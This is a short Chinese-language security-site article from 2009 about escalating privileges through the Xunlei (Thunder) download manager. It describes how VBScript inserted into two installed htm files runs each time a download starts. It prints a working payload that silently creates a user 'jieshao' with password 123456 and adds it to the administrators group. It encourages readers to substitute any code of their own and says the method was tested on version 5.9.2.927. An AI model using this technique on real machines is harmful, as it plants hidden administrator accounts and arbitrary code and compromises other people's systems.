首页 网络安全 安全学院 查看内容

迅雷提权

2009-7-21 10:29 982 0

摘要:   当我们使用迅雷下载东西的时候,会调用我们安装迅雷后一个htm文件,去激活htm文件里的一些代码,    把我们所下载东西添加到列表当中。    所对应的htm文件有2处一处是C:Program ...
关键词: 代码 迅雷 Thunder Program 文件 htm 东西 一个 Network 时候

  当我们使用迅雷下载东西的时候,会调用我们安装迅雷后一个htm文件,去激活htm文件里的一些代码,    把我们所下载东西添加到列表当中。    所对应的htm文件有2处一处是C:\Program Files\Thunder Network\Thunder\Program\geturl.htm    一处是C:\Program Files\Thunder Network\Thunder\Program\getAllurl.htm    如果我们想把我们想要的代码添加进去执行了?    我们简单写个代码试试,代码如下:    <script language="VBScript">  Set vbs=CreateObject("Wscript.Shell")  vbs.run "cmd /c net user jieshao 123456 /add",0  vbs.run "cmd /c net localgroup administrators jieshao /add",0  </script>    应该大家都可以看的出,如果我们把这段代码添加到那2个htm文件里,当迅雷下载东西的时候,一样    会去执行我们的代码。添加一个administrators组的一个用户jieshao    当然,代码大家可以自定义哈。不要被我所禁锢住啦      测试通过,迅雷版本为5.9.2.927
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部